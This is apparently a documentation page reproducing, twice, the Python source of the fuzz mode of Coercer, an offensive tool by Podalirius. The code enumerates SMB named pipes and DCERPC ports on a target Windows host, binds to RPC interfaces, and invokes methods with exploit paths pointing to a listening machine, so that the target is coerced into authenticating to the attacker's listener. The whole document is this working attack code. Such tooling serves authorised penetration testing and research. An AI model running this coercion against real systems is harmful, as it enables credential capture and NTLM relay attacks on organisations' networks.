coercer.core.modes.fuzz
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 3# File name : fuzz.py 4# Author : Podalirius (@podalirius_) 5# Date created : 18 Sep 2022 6 7 8import time 9from coercer.core.Filter import Filter 10from coercer.core.utils import generate_exploit_templates, generate_exploit_path_from_template 11from coercer.network.DCERPCSession import DCERPCSession 12from coercer.structures.TestResult import TestResult 13from coercer.network.authentications import trigger_and_catch_authentication 14from coercer.network.smb import can_connect_to_pipe, can_bind_to_interface, list_remote_pipes 15from coercer.network.utils import get_ip_addr_to_listen_on, get_next_http_listener_port 16from coercer.network.rpc import portmap_discover, is_port_open, can_bind_to_interface_on_port 17 18 19def action_fuzz(target, available_methods, options, credentials, reporter): 20 filter = Filter( 21 filter_method_name=options.filter_method_name, 22 filter_protocol_name=options.filter_protocol_name, 23 filter_pipe_name=options.filter_pipe_name 24 ) 25 26 http_listen_port = 0 27 28 # Preparing pipes ============================================================================================================== 29 30 named_pipe_of_remote_machine = [] 31 ports = set() 32 if "msrpc" in options.filter_transport_name: 33 if credentials.is_anonymous(): 34 reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes") 35 named_pipe_of_remote_machine = [ 36 r'\PIPE\atsvc', 37 r'\PIPE\efsrpc', 38 r'\PIPE\epmapper', 39 r'\PIPE\eventlog', 40 r'\PIPE\InitShutdown', 41 r'\PIPE\lsass', 42 r'\PIPE\lsarpc', 43 r'\PIPE\LSM_API_service', 44 r'\PIPE\netdfs', 45 r'\PIPE\netlogon', 46 r'\PIPE\ntsvcs', 47 r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 48 r'\PIPE\scerpc', 49 r'\PIPE\spoolss', 50 r'\PIPE\srvsvc', 51 r'\PIPE\VBoxTrayIPC-Administrator', 52 r'\PIPE\W32TIME_ALT', 53 r'\PIPE\wkssvc' 54 ] 55 if options.verbose: 56 print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine)) 57 else: 58 named_pipe_of_remote_machine = list_remote_pipes(target, credentials) 59 if options.verbose: 60 print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine)) 61 kept_pipes_after_filters = [] 62 for pipe in named_pipe_of_remote_machine: 63 if filter.pipe_matches_filter(pipe): 64 kept_pipes_after_filters.append(pipe) 65 if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous(): 66 print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found on the remote machine." % options.filter_pipe_name) 67 return None 68 elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous(): 69 print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found in the list of known named pipes." % options.filter_pipe_name) 70 return None 71 else: 72 named_pipe_of_remote_machine = kept_pipes_after_filters 73 if "dcerpc" in options.filter_transport_name: 74 portmap = portmap_discover(target, options.dce_port) 75 for uuid in portmap.get("ncacn_ip_tcp",[]): 76 for port in portmap["ncacn_ip_tcp"][uuid]: 77 ports.add(port) 78 79 # Preparing tasks ============================================================================================================== 80 81 tasks = {} 82 for method_type in available_methods.keys(): 83 for category in sorted(available_methods[method_type].keys()): 84 for method in sorted(available_methods[method_type][category].keys()): 85 instance = available_methods[method_type][category][method]["class"] 86 87 if filter.method_matches_filter(instance): 88 for access_type, access_methods in instance.access.items(): 89 if access_type not in tasks.keys(): 90 tasks[access_type] = {} 91 92 # Access through SMB named pipe 93 if access_type == "ncan_np": 94 for access_method in access_methods: 95 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 96 if uuid not in tasks[access_type].keys(): 97 tasks[access_type][uuid] = {} 98 99 if version not in tasks[access_type][uuid].keys(): 100 tasks[access_type][uuid][version] = [] 101 102 if instance not in tasks[access_type][uuid][version]: 103 tasks[access_type][uuid][version].append(instance) 104 elif access_type == "ncacn_ip_tcp": 105 for access_method in access_methods: 106 uuid, version = access_method["uuid"], access_method["version"] 107 if uuid not in tasks[access_type].keys(): 108 tasks[access_type][uuid] = {} 109 110 if version not in tasks[access_type][uuid].keys(): 111 tasks[access_type][uuid][version] = [] 112 113 if instance not in tasks[access_type][uuid][version]: 114 tasks[access_type][uuid][version].append(instance) 115 116 # Executing tasks ======================================================================================================================= 117 118 listening_ip = get_ip_addr_to_listen_on(target, options) 119 if options.verbose: 120 print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port)) 121 exploit_paths = generate_exploit_templates() 122 123 # Processing ncan_np tasks 124 if len(tasks.keys()) == 0: 125 return None 126 if "dcerpc" in options.filter_transport_name: 127 ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {}) 128 for port in ports: 129 if is_port_open(target, port): 130 print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port) 131 for uuid in sorted(ncacn_ip_tcp_tasks.keys()): 132 for version in sorted(ncacn_ip_tcp_tasks[uuid].keys()): 133 if can_bind_to_interface_on_port(target, port, credentials, uuid, version): 134 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 135 136 for msprotocol_class in sorted(ncacn_ip_tcp_tasks[uuid][version], key=lambda x: x.function["name"]): 137 138 if options.only_known_exploit_paths: 139 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 140 141 stop_exploiting_this_function = False 142 for listener_type, exploitpath in exploit_paths: 143 144 if stop_exploiting_this_function: 145 # Got a nca_s_unk_if response, this function does not listen on the given interface 146 continue 147 if listener_type == "http": 148 http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options) 149 150 exploitpath = generate_exploit_path_from_template( 151 template=exploitpath, 152 listener=listening_ip, 153 http_listen_port=http_listen_port, 154 smb_listen_port=options.smb_port 155 ) 156 157 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 158 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 159 dcerpc.connect_ncacn_ip_tcp(target=target, port=port) 160 161 if dcerpc.session is not None: 162 dcerpc.bind(interface_uuid=uuid, interface_version=version) 163 if dcerpc.session is not None: 164 reporter.print_testing(msprotocol_rpc_instance) 165 166 result = trigger_and_catch_authentication( 167 options=options, 168 dcerpc_session=dcerpc.session, 169 target=target, 170 method_trigger_function=msprotocol_rpc_instance.trigger, 171 listenertype=listener_type, 172 listen_ip=listening_ip, 173 http_port=http_listen_port 174 ) 175 176 reporter.report_test_result( 177 uuid=uuid, version=version, namedpipe=namedpipe, 178 msprotocol_rpc_instance=msprotocol_rpc_instance, 179 result=result, 180 exploitpath=exploitpath 181 ) 182 183 if result == TestResult.NCA_S_UNK_IF: 184 stop_exploiting_this_function = True 185 186 if options.delay is not None: 187 # Sleep between attempts 188 time.sleep(options.delay) 189 else: 190 if options.verbose: 191 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 192 else: 193 if options.verbose: 194 print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port) 195 196 if "msrpc" in options.filter_transport_name: 197 ncan_np_tasks = tasks["ncan_np"] 198 for namedpipe in sorted(named_pipe_of_remote_machine): 199 if can_connect_to_pipe(target, namedpipe, credentials): 200 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 201 for uuid in sorted(ncan_np_tasks.keys()): 202 for version in sorted(ncan_np_tasks[uuid].keys()): 203 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 204 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 205 206 for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]): 207 208 if options.only_known_exploit_paths: 209 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 210 211 stop_exploiting_this_function = False 212 for listener_type, exploitpath in exploit_paths: 213 214 if stop_exploiting_this_function: 215 # Got a nca_s_unk_if response, this function does not listen on the given interface 216 continue 217 if listener_type == "http": 218 http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options) 219 220 exploitpath = generate_exploit_path_from_template( 221 template=exploitpath, 222 listener=listening_ip, 223 http_listen_port=http_listen_port, 224 smb_listen_port=options.smb_port 225 ) 226 227 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 228 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 229 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 230 231 if dcerpc.session is not None: 232 dcerpc.bind(interface_uuid=uuid, interface_version=version) 233 if dcerpc.session is not None: 234 reporter.print_testing(msprotocol_rpc_instance) 235 236 result = trigger_and_catch_authentication( 237 options=options, 238 dcerpc_session=dcerpc.session, 239 target=target, 240 method_trigger_function=msprotocol_rpc_instance.trigger, 241 listenertype=listener_type, 242 listen_ip=listening_ip, 243 http_port=http_listen_port 244 ) 245 246 reporter.report_test_result( 247 uuid=uuid, version=version, namedpipe=namedpipe, 248 msprotocol_rpc_instance=msprotocol_rpc_instance, 249 result=result, 250 exploitpath=exploitpath 251 ) 252 253 if result == TestResult.NCA_S_UNK_IF: 254 stop_exploiting_this_function = True 255 256 if options.delay is not None: 257 # Sleep between attempts 258 time.sleep(options.delay) 259 else: 260 if options.verbose: 261 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 262 else: 263 if options.verbose: 264 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)
def
action_fuzz(target, available_methods, options, credentials, reporter):
20def action_fuzz(target, available_methods, options, credentials, reporter): 21 filter = Filter( 22 filter_method_name=options.filter_method_name, 23 filter_protocol_name=options.filter_protocol_name, 24 filter_pipe_name=options.filter_pipe_name 25 ) 26 27 http_listen_port = 0 28 29 # Preparing pipes ============================================================================================================== 30 31 named_pipe_of_remote_machine = [] 32 ports = set() 33 if "msrpc" in options.filter_transport_name: 34 if credentials.is_anonymous(): 35 reporter.print_verbose("Cannot list SMB pipes with anonymous login, using list of known pipes") 36 named_pipe_of_remote_machine = [ 37 r'\PIPE\atsvc', 38 r'\PIPE\efsrpc', 39 r'\PIPE\epmapper', 40 r'\PIPE\eventlog', 41 r'\PIPE\InitShutdown', 42 r'\PIPE\lsass', 43 r'\PIPE\lsarpc', 44 r'\PIPE\LSM_API_service', 45 r'\PIPE\netdfs', 46 r'\PIPE\netlogon', 47 r'\PIPE\ntsvcs', 48 r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER', 49 r'\PIPE\scerpc', 50 r'\PIPE\spoolss', 51 r'\PIPE\srvsvc', 52 r'\PIPE\VBoxTrayIPC-Administrator', 53 r'\PIPE\W32TIME_ALT', 54 r'\PIPE\wkssvc' 55 ] 56 if options.verbose: 57 print("[debug] Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine)) 58 else: 59 named_pipe_of_remote_machine = list_remote_pipes(target, credentials) 60 if options.verbose: 61 print("[debug] Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine)) 62 kept_pipes_after_filters = [] 63 for pipe in named_pipe_of_remote_machine: 64 if filter.pipe_matches_filter(pipe): 65 kept_pipes_after_filters.append(pipe) 66 if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous(): 67 print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found on the remote machine." % options.filter_pipe_name) 68 return None 69 elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous(): 70 print("[!] No SMB named pipes matching filter --filter-pipe-name %s were found in the list of known named pipes." % options.filter_pipe_name) 71 return None 72 else: 73 named_pipe_of_remote_machine = kept_pipes_after_filters 74 if "dcerpc" in options.filter_transport_name: 75 portmap = portmap_discover(target, options.dce_port) 76 for uuid in portmap.get("ncacn_ip_tcp",[]): 77 for port in portmap["ncacn_ip_tcp"][uuid]: 78 ports.add(port) 79 80 # Preparing tasks ============================================================================================================== 81 82 tasks = {} 83 for method_type in available_methods.keys(): 84 for category in sorted(available_methods[method_type].keys()): 85 for method in sorted(available_methods[method_type][category].keys()): 86 instance = available_methods[method_type][category][method]["class"] 87 88 if filter.method_matches_filter(instance): 89 for access_type, access_methods in instance.access.items(): 90 if access_type not in tasks.keys(): 91 tasks[access_type] = {} 92 93 # Access through SMB named pipe 94 if access_type == "ncan_np": 95 for access_method in access_methods: 96 namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"] 97 if uuid not in tasks[access_type].keys(): 98 tasks[access_type][uuid] = {} 99 100 if version not in tasks[access_type][uuid].keys(): 101 tasks[access_type][uuid][version] = [] 102 103 if instance not in tasks[access_type][uuid][version]: 104 tasks[access_type][uuid][version].append(instance) 105 elif access_type == "ncacn_ip_tcp": 106 for access_method in access_methods: 107 uuid, version = access_method["uuid"], access_method["version"] 108 if uuid not in tasks[access_type].keys(): 109 tasks[access_type][uuid] = {} 110 111 if version not in tasks[access_type][uuid].keys(): 112 tasks[access_type][uuid][version] = [] 113 114 if instance not in tasks[access_type][uuid][version]: 115 tasks[access_type][uuid][version].append(instance) 116 117 # Executing tasks ======================================================================================================================= 118 119 listening_ip = get_ip_addr_to_listen_on(target, options) 120 if options.verbose: 121 print("[+] Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port)) 122 exploit_paths = generate_exploit_templates() 123 124 # Processing ncan_np tasks 125 if len(tasks.keys()) == 0: 126 return None 127 if "dcerpc" in options.filter_transport_name: 128 ncacn_ip_tcp_tasks = tasks.get("ncacn_ip_tcp", {}) 129 for port in ports: 130 if is_port_open(target, port): 131 print("[+] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % port) 132 for uuid in sorted(ncacn_ip_tcp_tasks.keys()): 133 for version in sorted(ncacn_ip_tcp_tasks[uuid].keys()): 134 if can_bind_to_interface_on_port(target, port, credentials, uuid, version): 135 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 136 137 for msprotocol_class in sorted(ncacn_ip_tcp_tasks[uuid][version], key=lambda x: x.function["name"]): 138 139 if options.only_known_exploit_paths: 140 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 141 142 stop_exploiting_this_function = False 143 for listener_type, exploitpath in exploit_paths: 144 145 if stop_exploiting_this_function: 146 # Got a nca_s_unk_if response, this function does not listen on the given interface 147 continue 148 if listener_type == "http": 149 http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options) 150 151 exploitpath = generate_exploit_path_from_template( 152 template=exploitpath, 153 listener=listening_ip, 154 http_listen_port=http_listen_port, 155 smb_listen_port=options.smb_port 156 ) 157 158 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 159 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 160 dcerpc.connect_ncacn_ip_tcp(target=target, port=port) 161 162 if dcerpc.session is not None: 163 dcerpc.bind(interface_uuid=uuid, interface_version=version) 164 if dcerpc.session is not None: 165 reporter.print_testing(msprotocol_rpc_instance) 166 167 result = trigger_and_catch_authentication( 168 options=options, 169 dcerpc_session=dcerpc.session, 170 target=target, 171 method_trigger_function=msprotocol_rpc_instance.trigger, 172 listenertype=listener_type, 173 listen_ip=listening_ip, 174 http_port=http_listen_port 175 ) 176 177 reporter.report_test_result( 178 uuid=uuid, version=version, namedpipe=namedpipe, 179 msprotocol_rpc_instance=msprotocol_rpc_instance, 180 result=result, 181 exploitpath=exploitpath 182 ) 183 184 if result == TestResult.NCA_S_UNK_IF: 185 stop_exploiting_this_function = True 186 187 if options.delay is not None: 188 # Sleep between attempts 189 time.sleep(options.delay) 190 else: 191 if options.verbose: 192 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 193 else: 194 if options.verbose: 195 print("[!] DCERPC port '\x1b[1;94m%d\x1b[0m' is \x1b[1;91mclosed\x1b[0m!" % port) 196 197 if "msrpc" in options.filter_transport_name: 198 ncan_np_tasks = tasks["ncan_np"] 199 for namedpipe in sorted(named_pipe_of_remote_machine): 200 if can_connect_to_pipe(target, namedpipe, credentials): 201 print("[+] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;92maccessible\x1b[0m!" % namedpipe) 202 for uuid in sorted(ncan_np_tasks.keys()): 203 for version in sorted(ncan_np_tasks[uuid].keys()): 204 if can_bind_to_interface(target, namedpipe, credentials, uuid, version): 205 print(" [+] Successful bind to interface (%s, %s)!" % (uuid, version)) 206 207 for msprotocol_class in sorted(ncan_np_tasks[uuid][version], key=lambda x: x.function["name"]): 208 209 if options.only_known_exploit_paths: 210 exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type) 211 212 stop_exploiting_this_function = False 213 for listener_type, exploitpath in exploit_paths: 214 215 if stop_exploiting_this_function: 216 # Got a nca_s_unk_if response, this function does not listen on the given interface 217 continue 218 if listener_type == "http": 219 http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options) 220 221 exploitpath = generate_exploit_path_from_template( 222 template=exploitpath, 223 listener=listening_ip, 224 http_listen_port=http_listen_port, 225 smb_listen_port=options.smb_port 226 ) 227 228 msprotocol_rpc_instance = msprotocol_class(path=exploitpath) 229 dcerpc = DCERPCSession(credentials=credentials, verbose=True) 230 dcerpc.connect_ncacn_np(target=target, pipe=namedpipe) 231 232 if dcerpc.session is not None: 233 dcerpc.bind(interface_uuid=uuid, interface_version=version) 234 if dcerpc.session is not None: 235 reporter.print_testing(msprotocol_rpc_instance) 236 237 result = trigger_and_catch_authentication( 238 options=options, 239 dcerpc_session=dcerpc.session, 240 target=target, 241 method_trigger_function=msprotocol_rpc_instance.trigger, 242 listenertype=listener_type, 243 listen_ip=listening_ip, 244 http_port=http_listen_port 245 ) 246 247 reporter.report_test_result( 248 uuid=uuid, version=version, namedpipe=namedpipe, 249 msprotocol_rpc_instance=msprotocol_rpc_instance, 250 result=result, 251 exploitpath=exploitpath 252 ) 253 254 if result == TestResult.NCA_S_UNK_IF: 255 stop_exploiting_this_function = True 256 257 if options.delay is not None: 258 # Sleep between attempts 259 time.sleep(options.delay) 260 else: 261 if options.verbose: 262 print(" [!] Cannot bind to interface (%s, %s)!" % (uuid, version)) 263 else: 264 if options.verbose: 265 print("[!] SMB named pipe '\x1b[1;94m%s\x1b[0m' is \x1b[1;91mnot accessible\x1b[0m!" % namedpipe)